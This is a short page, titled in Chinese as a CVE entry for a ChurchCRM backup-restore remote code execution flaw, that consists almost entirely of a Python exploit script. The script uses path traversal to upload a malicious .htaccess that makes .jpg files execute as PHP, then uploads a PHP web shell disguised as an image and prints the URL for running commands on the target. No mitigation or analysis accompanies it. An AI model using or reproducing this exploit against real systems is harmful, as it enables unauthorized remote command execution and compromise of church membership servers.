CVE-2026-35573 ChurchCRM备份恢复远程代码执行漏洞

import requests # Target URL (Example) url = "http://target-churchcrm.com/RestoreJob.php" # Attacker needs a valid admin session cookie cookies = {'PHPSESSID': 'valid_admin_session_id'} # Step 1: Upload a malicious .htaccess file to change file handler # We use path traversal '../' to move out of the backup dir to the web root # Content: Treat .jpg files as PHP code htaccess_payload = "AddType application/x-httpd-php .jpg" files = { 'file': ('../../.htaccess', htaccess_payload, 'text/plain') } print("[+] Uploading malicious .htaccess...") r1 = requests.post(url, files=files, cookies=cookies) if r1.status_code == 200: print("[+] .htaccess potentially uploaded.") # Step 2: Upload a webshell disguised as an image webshell_code = "<?php system($_GET['cmd']); ?>" files_shell = { 'file': ('shell.jpg', webshell_code, 'image/jpeg') } print("[+] Uploading webshell...") r2 = requests.post(url, files=files_shell, cookies=cookies) if r2.status_code == 200: print("[+] Exploit complete. Access shell at: http://target-churchcrm.com/tmp_attach/ChurchCRMBackups/shell.jpg?cmd=whoami") else: print("[-] Exploit failed.")